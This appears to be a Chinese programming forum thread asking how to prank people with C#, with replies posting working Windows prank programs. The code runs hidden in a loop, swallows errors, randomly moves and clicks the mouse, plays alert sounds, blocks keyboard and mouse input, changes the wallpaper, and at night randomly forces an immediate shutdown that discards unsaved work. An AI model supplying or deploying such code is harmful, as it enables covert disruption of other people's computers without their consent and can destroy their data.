收藏 不显示删除回复显示所有回复显示星级回复显示得分回复 [推荐] 怎样用C# 搞笑 整人[问题点数:300分，结帖人:aimeast]

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true)
                {
                    if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}

        // true阻止输入，false解除阻止输入
        [DllImport("User32.dll")]
       public static extern bool BlockInput(bool enabled);

        [DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
        public static extern int SystemParametersInfo(
            int uAction,
            int uParam,
            string lpvParam,
            int fuWinIni
            );

        /// <summary>
        /// 设置背景图片
        /// </summary>
        /// <param name="picture">图片路径</param>
        private void SetDestPicture(string picture)
        {
            if (File.Exists(picture))
            {
                if (Path.GetExtension(picture).ToLower() != "bmp")
                { 
                    // 其它格式文件先转换为bmp再设置
                    string tempFile = @"D:\test.bmp";
                    Image image = Image.FromFile(picture);
                    image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
                    picture = tempFile;
                }

                SystemParametersInfo(20, 0, picture, 0x2);
            }
        }

        private void RunScreenSaver()
        {
            String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");

            if (screenSavers.Length > 0)
            {
                // 启动获取到的第一个屏保
                Process.Start(new ProcessStartInfo(screenSavers[0]));
            }
        }

using System;
using System.Collections.Generic;
using System.Windows.Forms;
//
using System.Runtime.InteropServices;
using System.Threading;
using System.Media;

namespace Z
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while (true)
                {
                    if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if (tick < 1800)
                        continue;
                    if (tick % 643 == 0)
                        DoMouse();
                    if (tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while (c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch (rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch (rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            [color=#FF0000]Process[/color].Start("shutdown.exe", "-f -s -t 0");
        }
    }

}